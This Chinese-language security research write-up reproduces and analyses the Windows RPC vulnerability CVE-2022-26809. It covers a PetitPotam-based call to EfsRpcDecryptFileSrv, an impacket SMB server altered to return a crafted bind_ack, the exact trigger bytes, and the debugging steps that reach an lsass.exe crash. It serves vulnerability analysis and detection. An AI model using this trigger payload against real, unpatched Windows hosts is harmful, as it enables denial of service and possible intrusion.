作者:[email protected]知道创宇404实验室
时间:2022年5月20日
1. 漏洞介绍
2022年4月份修复的高危漏洞 CVE-2022-26809 距今已经过去一月有余,期间除了 L1nk 师傅发了一篇关于 GetCoalescedBuffer() 漏洞函数触发条件的分析,再无其他消息。我这边虽然分析出了 ProcessReceivedPDU() 漏洞函数的触发逻辑,但苦于无法在默认系统上触发,也没什么进展。
直到 5月18日,corelight 上发了一篇关于 CVE-2022-26809 的漏洞利用检测文章 ,同时给出了相关的github 仓库,仓库中附带了捕捉的 漏洞触发数据包。
文章中提到 CVE-2022-26809 位于OSF_CASSOCIATION::ProcessBindAckOrNak() 函数中,这是一个 客户端解析 bind_ack 响应的函数。我和 L1nk 师傅一开始都忽视了这个函数,因为我们觉得客户端的漏洞和 ”有希望成为蠕虫漏洞“ 的描述不符,不太可能是 CVE-2022-26809。但实际上 当我们调用目标主机的 EfsRpcDecryptFileSrv() efs rpc 函数时,该函数会根据我们传入的unc路径,向我们的恶意smb服务器 的 srvsvc 端点发起bind请求。这样 服务端 也就变成了 客户端,就会调用 ProcessBindAckOrNak() 处理我们的恶意smb服务器返回的 bind_ack 数据包。现在看还是对 smb 之类的知识了解的太少。
EfsRpcDecryptFileSrv() 是 lsass.exe 进程里的,位于c681d488-d850-11d0-8c52-00c04fd90f7e 接口的一个rpc函数,你可以通过 \pipe\lsass 端点访问它。
efs 相关的rpc函数在2021年曾出过 PetitPotam 域提权 和 CVE-2021-43893 域控文件写 几个著名的漏洞。虽然 CVE-2022-26809 和 这几个漏洞原理不类似,但触发方式类似,我们完全可以复用 PetitPotam 的脚本,免去了自己写rpc 客户端的麻烦。
推荐阅读这篇文章 https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/,了解关于PetitPotam 的漏洞发展历史。
漏洞复现
1. 调用 EfsRpcDecryptFileSrv() 函数
使用 ly4k 的 PetitPotam 脚本进行调用,仓库链接:https://github.com/ly4k/PetitPotam
需要注意的是,由于 2021年12月份的 CVE-2021-43893 的补丁,我们要给脚本里加两行代码:
在 PetitPotam.Connect 函数要加两行代码 (加在 dce.connect() 前面就行):
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
这两行代码是为了满足新增的 EFSRPC 强化措施。
调用 PetitPotam 脚本:
python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug 'mr.wang:[email protected]' '\\192.168.33.154\srvsvc\test.txt'
192.168.33.159 是目标主机的地址, 192.168.33.154 则是我们的恶意 smb 服务器的地址。遗憾的是我必须使用账号和密码,尚不确定原始poc是如何解决smb认证的问题的。
此时如果用 Procmon 来监测 lsass.exe 进程,你会看到它尝试打开 \\192.168.33.154\pipe\srvsvc 端点。
2. 搭建恶意 smb 服务器
直接使用 impacket 的 smbserver.py 里的 SimpleSMBServer 例子:
from impacket.smbserver import SimpleSMBServer
myserver = SimpleSMBServer(listenPort=445)
myserver.start()
推荐在linux里搭建。
我们需要控制对 rpc bind 请求的响应,所以直接修改 rpcrt.py 库文件。
找到 rpcrt.py 文件里的 DCERPCServer.bind() 函数,直接注释,然后改为下面,相当于每次返回固定的 bind_ack 数据包。
d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'
print(d)
self._clientSock.send(d)
这一串数据也就是触发漏洞的关键 payload。
3. 捕捉崩溃
打开目标主机防火墙的445端口。
关闭 smb2 协议:
Set-SmbServerConfiguration -EnableSMB2Protocol $false
开启 sbm1 协议:
Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
这一步不是必须的,主要是方便我们 wireshark 捕捉观察rpc数据。
使用 gflags.exe 给 lsass.exe 进程开启页堆,然后重启系统。
选一种方式调试 lsass.exe,我使用内核调试,防止卡死。
然后开启恶意smb服务器,使用脚本调用 EfsRpcDecryptFileSrv() 函数。
然后就能捕捉到异常了。
如果正常,你会在 wireshark 里看到在调用 EfsRpcDecryptFileSrv()之后,有一串的 bind 和 bind_ack 数据包:
3. 漏洞分析
数据包有两个特点,frag_len 为 0x1a, ScnDry_Addr_len 为0,且数据包在这个字段截断,后面就没了。
BufferLength 即是数据包的长度 为0x1a,第一次 BufferLength - 0x1A ,结果为0,然后由于 sec_addr_length 为0,所以会进入 else 分支,0 - 0x1c 整数下溢。
后面 取 sec_addr_length地址 + 2 + 2 ,由于数据包到 sec_addr_length 结束,所以这个地址实际已经越界。
另外有一点需要注意:我们前面触发漏洞的 payload 使用的是大端字节序,但实际上使用小端字节序也能正常触发漏洞,所以和 Data Representation 字段是否为0应该没有关系。
最后,还没有解决调用 EfsRpcDecryptFileSrv() 时的smb认证问题。擅长漏洞利用的师傅可以试一试了。
附:
http://showlinkroom.me/2022/04/30/Windows-CVE-2022-26809/
https://corelight.com/blog/another-day-another-dce-rpc-rce
https://github.com/ly4k/PetitPotam
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1906/